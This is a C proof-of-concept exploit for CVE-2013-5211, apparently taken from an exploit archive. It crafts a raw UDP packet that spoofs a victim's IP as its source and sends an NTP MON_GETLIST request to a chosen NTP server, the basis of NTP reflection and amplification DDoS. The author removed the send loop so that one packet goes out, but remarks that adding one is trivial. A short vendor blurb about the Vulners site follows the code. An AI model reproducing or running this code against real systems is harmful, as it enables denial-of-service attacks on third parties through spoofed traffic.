/*
* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
* Date: 28/04/2014
* Code Author: Danilo PC - <[email protected]>
* CVE : CVE-2013-5211
*/
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
*/
//------------------------------------------------------------------------------------------------//
//------------------------------------------------------------------------------------------------//
#include <stdio.h> //For on printf function
#include <string.h> //For memset
#include <sys/socket.h> //Structs and Functions used for sockets operations.
#include <stdlib.h> //For exit function
#include <netinet/ip.h> //Structs for IP header
//Struct for UDP Packet
struct udpheader{
unsigned short int udp_sourcePortNumber;
unsigned short int udp_destinationPortNumber;
unsigned short int udp_length;
unsigned short int udp_checksum;
};
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct ntpreqheader {
unsigned char rm_vn_mode; /* response, more, version, mode */
unsigned char auth_seq; /* key, sequence number */
unsigned char implementation; /* implementation number */
unsigned char request; /* request number */
unsigned short err_nitems; /* error code/number of data items */
unsigned short mbz_itemsize; /* item size */
char data[40]; /* data area [32 prev](176 byte max) */
unsigned long tstamp; /* time stamp, for authentication */
unsigned int keyid; /* encryption key */
char mac[8]; /* (optional) 8 byte auth code */
};
// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
//Da MAIN
int main(int argc, char **argv)
{
int status; // Maintains the return values of the functions
struct iphdr *ip; // Pointer to ip header struct
struct udpheader *udp; // Pointer to udp header struct
struct ntpreqheader *ntp; // Pointer to ntp request header struct
int sockfd; // Maintains the socket file descriptor
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest; // Maintains the data of the destination address
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
// Parameters check
if( argc != 3){
printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
printf("Watch it on wireshark!\n");
printf("Coded for education purpose only!\n");
exit(1);
}
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (sockfd == -1){
printf("Error on initializing the socket\n");
exit(1);
}
//Sets the option IP_HDRINCL
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
if (status == -1){
printf("Error on setting the option HDRINCL on socket\n");
exit(1);
}
//"Zeroes" all the packet stack
memset( packet, 0, sizeof(packet) );
//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
ip = (struct iphdr *)packet;
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
//Fill the IP Header
ip->version = 4; //IPv4
ip->ihl = 5; //Size of the Ip header, minimum 5
ip->tos = 0; //Type of service, the default value is 0
ip->tot_len = sizeof(packet); //Size of the datagram
ip->id = htons(1234); //LengthIdentification Number
ip->frag_off = 0; //Flags, zero represents reserved
ip->ttl = 255; //Time to Live. Maximum of 255
ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
ip->check = 0; //Checksum.
ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)
ip->daddr = inet_addr( argv[2] ); //Destination IP
//Fills the UDP Header
udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
udp->udp_checksum = 0; //Checksum
//Calculate the checksums
ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
//Sets the destination data
dest.sin_family = AF_INET; // Address Family Ipv4
dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote
//Fills the NTP header
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
ntp->implementation=0x03; //Sets the implementation to 3
ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
//All the other fields of the struct are zeroed
// Sends the packets
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
if(status <0){
printf("Failed to send the packets\n");
exit(1);
}
}
# 0day.today [2018-03-19] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation